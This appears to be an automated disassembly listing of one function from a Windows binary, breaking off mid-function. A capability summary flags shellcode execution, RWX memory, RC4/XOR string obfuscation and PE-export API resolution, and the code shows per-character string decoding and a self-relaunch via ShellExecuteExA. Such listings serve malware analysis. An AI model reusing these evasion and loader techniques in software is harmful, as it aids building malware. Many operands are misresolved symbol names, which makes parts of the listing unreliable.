Function at 0x140028c14
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x484c8]
mov eax, 0x485a0
call fcn.1400a2150
sub rsp, rax
mov rax, qword [0x14010c700]
xor rax, rsp
mov qword [rbp + 0x48490], rax
mov edi, 0x843444
mov ecx, edi
call fcn.14001f9f0
lea rdx, [0x1400fbd80]
lea rcx, [rbp + 0xc98]
call fcn.140043618
mov rdx, rax
mov ecx, edi
call fcn.140021c0c
mov byte [rbp + 0x1f8], gethostname
mov r15d, 9
mov r9d, r15d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1f8]
call fcn.140042908
mov byte [rbp + 0x1f9], al
mov r9d, r15d
lea r14d, [r15 - 8]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1f8]
call fcn.140042908
mov byte [rbp + 0x1fa], al
mov r9d, r15d
lea r8d, [r15 - 7]
mov dl, 0x64
lea rcx, [rbp + 0x1f8]
call fcn.140042908
mov byte [rbp + 0x1fb], al
mov r9d, r15d
lea eax, [r15 - 6]
mov qword [rbp - 0x28], rax
mov r8d, eax
mov dl, 0x6c
lea rcx, [rbp + 0x1f8]
call fcn.140042908
mov byte [rbp + 0x1fc], al
mov r9d, r15d
lea r13d, [r15 - 5]
mov r8d, r13d
mov dl, 0x6c
lea rcx, [rbp + 0x1f8]
call fcn.140042908
mov byte [rbp + 0x1fd], al
mov r9d, r15d
lea ebx, [r15 - 4]
mov r8d, ebx
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1f8]
call fcn.140042908
mov byte [rbp + 0x1fe], al
mov r9d, r15d
lea esi, [rbx + 1]
mov r8d, esi
mov dl, 0x64
lea rcx, [rbp + 0x1f8]
call fcn.140042908
mov byte [rbp + 0x1ff], al
mov r9d, r15d
lea r12d, [r15 - 2]
mov r8d, r12d
mov dl, 0x6c
lea rcx, [rbp + 0x1f8]
call fcn.140042908
mov byte [rbp + 0x200], al
mov r9d, r15d
lea r8d, [r15 - 1]
mov dl, 0x6c
lea rcx, [rbp + 0x1f8]
call fcn.140042908
mov byte [rbp + 0x201], al
xor eax, eax
mov byte [rbp + 0x202], al
mov edi, eax
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f9]
lea rcx, [rbp + 0x1f8]
call fcn.140042908
mov byte [rbp + rdi + 0x1f9], al
add rdi, r14
cmp rdi, r15
jb 0x140028d98
xor eax, eax
mov byte [rbp + 0x202], al
lea rcx, [rbp + 0x1f9]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [rbp + 0x220], WSACleanup
mov edi, ntohs
mov r9d, edi
xor r8d, r8d
mov dl, 0x6b
lea rcx, [rbp + 0x220]
call fcn.14004307c
mov byte [rbp + 0x221], al
mov r9d, edi
mov r8, r14
mov dl, 0x65
lea rcx, [rbp + 0x220]
call fcn.14004307c
mov byte [rbp + 0x222], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, WSAStartup
lea rcx, [rbp + 0x220]
call fcn.14004307c
mov byte [rbp + 0x223], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x220]
call fcn.14004307c
mov byte [rbp + 0x224], al
mov r9d, edi
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x220]
call fcn.14004307c
mov byte [rbp + 0x225], al
mov r9d, edi
mov r8, rbx
mov dl, 0x6c
lea rcx, [rbp + 0x220]
call fcn.14004307c
mov byte [rbp + 0x226], al
mov r9d, edi
mov r8, rsi
mov dl, 0x33
lea rcx, [rbp + 0x220]
call fcn.14004307c
mov byte [rbp + 0x227], al
mov r9d, edi
mov r8, r12
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0x220]
call fcn.14004307c
mov byte [rbp + 0x228], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x220]
call fcn.14004307c
mov byte [rbp + 0x229], al
mov r9d, edi
mov r8, r15
mov dl, 0x64
lea rcx, [rbp + 0x220]
call fcn.14004307c
mov byte [rbp + 0x22a], al
mov r9d, edi
lea eax, [rdi - 2]
mov qword [rbp - 0x40], rax
mov r8d, eax
mov dl, 0x6c
lea rcx, [rbp + 0x220]
call fcn.14004307c
mov byte [rbp + 0x22b], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x6c
lea rcx, [rbp + 0x220]
call fcn.14004307c
mov byte [rbp + 0x22c], al
xor eax, eax
mov byte [rbp + 0x22d], al
mov edi, eax
mov r9d, ntohs
mov r8, rdi
mov dl, byte [rbp + rdi + 0x221]
lea rcx, [rbp + 0x220]
call fcn.14004307c
mov byte [rbp + rdi + 0x221], al
add rdi, r14
cmp rdi, 0xc
jb 0x140028f2e
xor esi, esi
mov byte [rbp + 0x22d], sil
lea rcx, [rbp + 0x221]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.1400281ac
test eax, eax
jne 0x1400298c9
mov edi, esi
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x28380]
call fcn.1400c97b0
mov r8d, ebx
lea rdx, [rbp + 0x28380]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r13d, [rsi + 0x10]
test eax, eax
je 0x140029110
xor edx, edx
lea r8d, [rsi + 0x60]
lea rcx, [rbp + 0xdb0]
call fcn.1400c97b0
mov dword [rbp + 0xda0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xda4], 0x400
mov qword [rbp + 0xda8], rsi
mov byte [rbp + 0x710], r13b
lea ebx, [rsi + 5]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAStartup
lea rcx, [rbp + 0x710]
call fcn.140043004
mov byte [rbp + 0x711], al
mov r9d, ebx
mov r8, r14
mov dl, 0x75
lea rcx, [rbp + 0x710]
call fcn.140043004
mov byte [rbp + 0x712], al
mov r9d, ebx
lea r8d, [rsi + 2]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x710]
call fcn.140043004
mov byte [rbp + 0x713], al
mov r9d, ebx
lea r8d, [rsi + 3]
mov dl, 0x61
lea rcx, [rbp + 0x710]
call fcn.140043004
mov byte [rbp + 0x714], al
mov r9d, ebx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x710]
call fcn.140043004
mov byte [rbp + 0x715], al
xor eax, eax
mov byte [rbp + 0x716], al
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x711]
lea rcx, [rbp + 0x710]
call fcn.140043004
mov byte [rbp + rdi + 0x711], al
add rdi, r14
cmp rdi, rbx
jb 0x140029080
xor eax, eax
mov byte [rbp + 0x716], al
lea rax, [rbp + 0x711]
mov qword [rbp + 0xdb0], rax
lea rax, [rbp + 0x28380]
mov qword [rbp + 0xdb8], rax
lea rax, [0x1400fbd80]
mov qword [rbp + 0xdc0], rax
xor eax, eax
mov qword [rbp + 0xdc8], rax
mov dword [rbp + 0xdd0], r14d
mov qword [rbp + 0xdd8], rax
lea rcx, [rbp + 0xda0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140040a1e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x140029115
mov ebx, 5
mov edx, edi
lea rcx, [rbp + 0xc18]
call fcn.140028090
mov qword [rsp + 0x68], rax
mov byte [rbp + 0x998], Ordinal_50
mov edi, reloc.WLDAP32.dll_Ordinal_45
mov r9d, edi
xor r8d, r8d
mov dl, 0x50
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x999], al
mov r9d, edi
mov r8, r14
mov dl, 0x6c
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x99a], al
mov r9d, edi
lea r8d, [rdi - 0x2b]
mov dl, 0x65
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x99b], al
mov r9d, edi
lea r8d, [rdi - 0x2a]
mov dl, 0x61
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x99c], al
mov r9d, edi
lea r8d, [rdi - 0x29]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x99d], al
mov r9d, edi
mov r8, rbx
mov dl, 0x65
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x99e], al
mov r9d, edi
lea r8d, [rdi - 0x27]
lea r12d, [rdi - 0xd]
mov dl, r12b
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x99f], al
mov r9d, edi
lea r8d, [rdi - 0x26]
mov dl, 0x4c
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9a0], al
mov r9d, edi
lea r8d, [rdi - 0x25]
mov dl, 0x61
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9a1], al
mov r9d, edi
mov r8, r15
mov dl, 0x75
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9a2], al
mov r9d, edi
lea r8d, [rdi - 0x23]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9a3], al
mov r9d, edi
lea r8d, [rdi - 0x22]
mov dl, 0x63
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9a4], al
mov r9d, edi
lea r8d, [rdi - 0x21]
mov dl, 0x68
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9a5], al
mov r9d, edi
lea r8d, [rdi - 0x20]
mov dl, r12b
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9a6], al
mov r9d, edi
lea r8d, [rdi - 0x1f]
mov dl, 0x42
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9a7], al
mov r9d, edi
lea r8d, [rdi - 0x1e]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9a8], al
mov r9d, edi
mov r8, r13
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9a9], al
mov r9d, edi
lea ebx, [rdi - 0x1c]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9aa], al
mov r9d, edi
lea r8d, [rdi - 0x1b]
mov dl, 0x53
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9ab], al
mov r9d, edi
lea r8d, [rdi - 0x1a]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9ac], al
mov r9d, edi
lea r8d, [rdi - 0x19]
mov dl, WSAStartup
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9ad], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, 0x61
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9ae], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9af], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9b0], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, 0x65
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9b1], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, WSAStartup
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9b2], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, r12b
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9b3], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, 0x61
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9b4], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9b5], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, r12b
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9b6], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x41
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9b7], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9b8], al
mov r9d, edi
mov r8d, r12d
mov dl, 0x6d
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9b9], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x69
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9ba], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9bb], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, 0x69
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9bc], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9bd], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9be], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, WSAStartup
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9bf], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x61
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9c0], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9c1], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9c2], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, WSAStartup
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9c3], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, r12b
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9c4], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, Ordinal_41
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + 0x9c5], al
xor eax, eax
mov byte [rbp + 0x9c6], al
mov rdi, rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0x999]
lea rcx, [rbp + 0x998]
call fcn.140042f8c
mov byte [rbp + rdi + 0x999], al
add rdi, r14
cmp rdi, 0x2d
jb 0x140029603
mov byte [rbp + 0x9c6], sil
mov r8, qword [rsp + 0x68]
lea rdx, [rbp + 0x999]
lea rcx, [rbp + 0xc78]
call fcn.140043974
mov rdx, rax
lea r8, [0x14010296c]
lea rcx, [rbp + 0xfc0]
call fcn.140043a8c
lea rcx, [rbp + 0xc78]
call fcn.140043530
lea rcx, [rbp + 0xc18]
call fcn.140043530
mov byte [rbp + 0x320], reloc.WLDAP32.dll_Ordinal_30
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x320]
call fcn.1400429f8
mov byte [rbp + 0x321], al
mov r9, rbx
mov r8, r14
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x320]
call fcn.1400429f8
mov byte [rbp + 0x322], al
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x320]
call fcn.1400429f8
mov byte [rbp + 0x323], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x320]
call fcn.1400429f8
mov byte [rbp + 0x324], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x320]
call fcn.1400429f8
mov byte [rbp + 0x325], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x320]
call fcn.1400429f8
mov byte [rbp + 0x326], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x320]
call fcn.1400429f8
mov byte [rbp + 0x327], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x320]
call fcn.1400429f8
mov byte [rbp + 0x328], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x320]
call fcn.1400429f8
mov byte [rbp + 0x329], al
mov r9, rbx
mov r8, r15
mov dl, r12b
lea rcx, [rbp + 0x320]
call fcn.1400429f8
mov byte [rbp + 0x32a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x320]
call fcn.1400429f8
mov byte [rbp + 0x32b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x320]
call fcn.1400429f8
mov byte [rbp + 0x32c], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x320]
call fcn.1400429f8
mov byte [rbp + 0x32d], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x320]
call fcn.1400429f8
mov byte [rbp + 0x32e], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x320]
call fcn.1400429f8
mov byte [rbp + 0x32f], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x320]
call fcn.1400429f8
mov byte [rbp + 0x330], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x320]
call fcn.1400429f8
mov byte [rbp + 0x331], al
xor eax, eax
mov byte [rbp + 0x332], al
mov rdi, rsi
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x321]
lea rcx, [rbp + 0x320]
call fcn.1400429f8
mov byte [rbp + rdi + 0x321], al
add rdi, r14
cmp rdi, rbx
jb 0x140029870
mov byte [rbp + 0x332], sil
lea rcx, [rbp + 0xfc0]
call fcn.140043374
xor r9d, r9d
lea r8, [rbp + 0x321]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r14d
call fcn.1400a8858
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor ecx, ecx
call fcn.1400a9c24
mov rbx, rax
mov byte [rbp - 0x18], 2
mov r9, r14
xor r8d, r8d
mov dl, WSAStartup
lea rcx, [rbp - 0x18]
call fcn.140044044
mov byte [rbp - 0x17], al
xor ecx, ecx
mov byte [rbp - 0x16], cl
mov r9, r14
xor r8d, r8d
mov dl, al
lea rcx, [rbp - 0x18]
call fcn.140042e34
mov byte [rbp - 0x17], al
mov byte [rbp - 0x16], sil
mov byte [rbp], 0x56
mov edi, 6
mov r9d, edi
xor r8d, r8d
mov dl, 0x43
lea rcx, [rbp]
call fcn.140042f10
mov byte [rbp + 1], al
mov r9d, edi
mov r8, r14
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp]
call fcn.140042f10
mov byte [rbp + 2], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, Ordinal_79
lea rcx, [rbp]
call fcn.140042f10
mov byte [rbp + 3], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x49
lea rcx, [rbp]
call fcn.140042f10
mov byte [rbp + 4], al
mov r9d, edi
mov r8, r13
mov dl, Ordinal_79
lea rcx, [rbp]
call fcn.140042f10
mov byte [rbp + 5], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x24
lea rcx, [rbp]
call fcn.140042f10
mov byte [rbp + 6], al
xor eax, eax
mov byte [rbp + 7], al
mov rdi, rsi
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi + 1]
lea rcx, [rbp]
call fcn.140042f10
mov byte [rbp + rdi + 1], al
add rdi, r14
cmp rdi, 6
jb 0x14002999a
mov byte [rbp + 7], sil
mov r9, rbx
lea r8, [rbp - 0x17]
lea rdx, [rbp + 1]
lea rcx, [rbp + 0xd28]
call fcn.1400acfa8
mov edi, 2
mov ecx, edi
call fcn.1400a9c24
mov rbx, rax
mov byte [rbp - 0x14], gethostname
mov r9, r14
xor r8d, r8d
mov dl, 0x77
lea rcx, [rbp - 0x14]
call fcn.140044044
mov byte [rbp - 0x13], al
xor ecx, ecx
mov byte [rbp - 0x12], cl
mov r9, r14
xor r8d, r8d
mov dl, al
lea rcx, [rbp - 0x14]
call fcn.140042e34
mov byte [rbp - 0x13], al
mov byte [rbp - 0x12], sil
mov byte [rbp + 0x18], Ordinal_79
mov r9, r12
xor r8d, r8d
mov dl, 0x43
lea rcx, [rbp + 0x18]
call fcn.140042e98
mov byte [rbp + 0x19], al
mov r9, r12
mov r8, r14
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x18]
call fcn.140042e98
mov byte [rbp + 0x1a], al
mov r9, r12
mov r8d, edi
mov dl, Ordinal_79
lea rcx, [rbp + 0x18]
call fcn.140042e98
mov byte [rbp + 0x1b], al
mov r9, r12
lea r8d, [rdi + 1]
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x18]
call fcn.140042e98
mov byte [rbp + 0x1c], al
mov r9, r12
mov r8, r13
mov dl, 0x55
lea rcx, [rbp + 0x18]
call fcn.140042e98
mov byte [rbp + 0x1d], al
mov r9, r12
lea r8d, [rdi + 3]
mov dl, 0x54
lea rcx, [rbp + 0x18]
call fcn.140042e98
mov byte [rbp + 0x1e], al
mov r9, r12
lea r8d, [rdi + 4]
mov dl, 0x24
lea rcx, [rbp + 0x18]
call fcn.140042e98
mov byte [rbp + 0x1f], al
xor eax, eax
mov byte [rbp + 0x20], al
mov rdi, rsi
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0x19]
lea rcx, [rbp + 0x18]
call fcn.140042e98
mov byte [rbp + rdi + 0x19], al
add rdi, r14
cmp rdi, r12
jb 0x140029ab7
mov byte [rbp + 0x20], sil
mov r9, rbx
lea r8, [rbp - 0x13]
lea rdx, [rbp + 0x19]
lea rcx, [rbp + 0xd28]
call fcn.1400acfa8
mov ecx, r14d
call fcn.1400a9c24
mov rbx, rax
mov byte [rbp - 0x10], 0x5d
mov r9, r14
xor r8d, r8d
mov dl, 0x77
lea rcx, [rbp - 0x10]
call fcn.140044044
mov byte [rbp - 0xf], al
xor ecx, ecx
mov byte [rbp - 0xe], cl
mov r9, r14
xor r8d, r8d
mov dl, al
lea rcx, [rbp - 0x10]
call fcn.140042e34
mov byte [rbp - 0xf], al
mov byte [rbp - 0xe], sil
mov byte [rbp + 0x28], gethostname
mov r9, r12
xor r8d, r8d
mov dl, 0x43
lea rcx, [rbp + 0x28]
call fcn.140042e98
mov byte [rbp + 0x29], al
mov r9, r12
mov r8, r14
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x28]
call fcn.140042e98
mov byte [rbp + 0x2a], al
mov r9, r12
mov r8d, 2
mov dl, Ordinal_79
lea rcx, [rbp + 0x28]
call fcn.140042e98
mov byte [rbp + 0x2b], al
mov r9, r12
mov r8d, 3
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x28]
call fcn.140042e98
mov byte [rbp + 0x2c], al
mov r9, r12
mov r8, r13
mov dl, 0x55
lea rcx, [rbp + 0x28]
call fcn.140042e98
mov byte [rbp + 0x2d], al
mov r9, r12
mov r8d, 5
mov dl, 0x54
lea rcx, [rbp + 0x28]
call fcn.140042e98
mov byte [rbp + 0x2e], al
mov r9, r12
mov r8d, 6
mov dl, 0x24
lea rcx, [rbp + 0x28]
call fcn.140042e98
mov byte [rbp + 0x2f], al
xor eax, eax
mov byte [rbp + 0x30], al
mov rdi, rsi
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0x29]
lea rcx, [rbp + 0x28]
call fcn.140042e98
mov byte [rbp + rdi + 0x29], al
add rdi, r14
cmp rdi, r12
jb 0x140029bd5
mov byte [rbp + 0x30], sil
mov r9, rbx
lea r8, [rbp - 0xf]
lea rdx, [rbp + 0x29]
lea rcx, [rbp + 0xd28]
call fcn.1400acfa8
mov byte [rbp + 0xab0], 0x68
mov edi, 0x3e
mov r9d, edi
xor r8d, r8d
mov dl, 0x50
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xab1], al
mov r9d, edi
mov r8, r14
mov dl, WSAStartup
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xab2], al
mov r9d, edi
lea r8d, [rdi - 0x3c]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xab3], al
mov r9d, edi
lea r8d, [rdi - 0x3b]
mov dl, 0x63
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xab4], al
mov r9d, edi
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xab5], al
mov r9d, edi
lea r8d, [rdi - 0x39]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xab6], al
mov r9d, edi
lea r8d, [rdi - 0x38]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xab7], al
mov r9d, edi
mov r8, r12
mov dl, 0x69
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xab8], al
mov r9d, edi
lea r8d, [rdi - 0x36]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xab9], al
mov r9d, edi
mov r8, r15
mov dl, 0x67
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xaba], al
mov r9d, edi
lea r8d, [rdi - 0x34]
lea r12d, [rdi - 0x1e]
mov dl, r12b
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xabb], al
mov r9d, edi
lea r8d, [rdi - 0x33]
mov dl, 0x43
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xabc], al
mov r9d, edi
lea r8d, [rdi - 0x32]
mov dl, 0x6c
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xabd], al
mov r9d, edi
lea r8d, [rdi - 0x31]
mov dl, 0x69
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xabe], al
mov r9d, edi
lea r8d, [rdi - 0x30]
mov dl, 0x65
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xabf], al
mov r9d, edi
lea r8d, [rdi - 0x2f]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xac0], al
mov r9d, edi
lea r8d, [rdi - 0x2e]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xac1], al
mov r13d, edi
mov r9d, edi
lea r8d, [rdi - 0x2d]
mov dl, r12b
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xac2], al
mov r9d, edi
lea r8d, [rdi - 0x2c]
mov dl, 0x44
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xac3], al
mov r9d, edi
lea r8d, [rdi - 0x2b]
mov dl, 0x61
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xac4], al
mov r9d, edi
lea esi, [rdi - 0x2a]
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xac5], al
mov r9d, edi
lea edi, [rsi + 1]
mov r8d, edi
mov dl, 0x61
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xac6], al
mov r9d, r13d
lea r8d, [r13 - 0x28]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xab0]
call fcn.1400427a0
mov byte [rbp + 0xac7], al
mov r9d, r13d
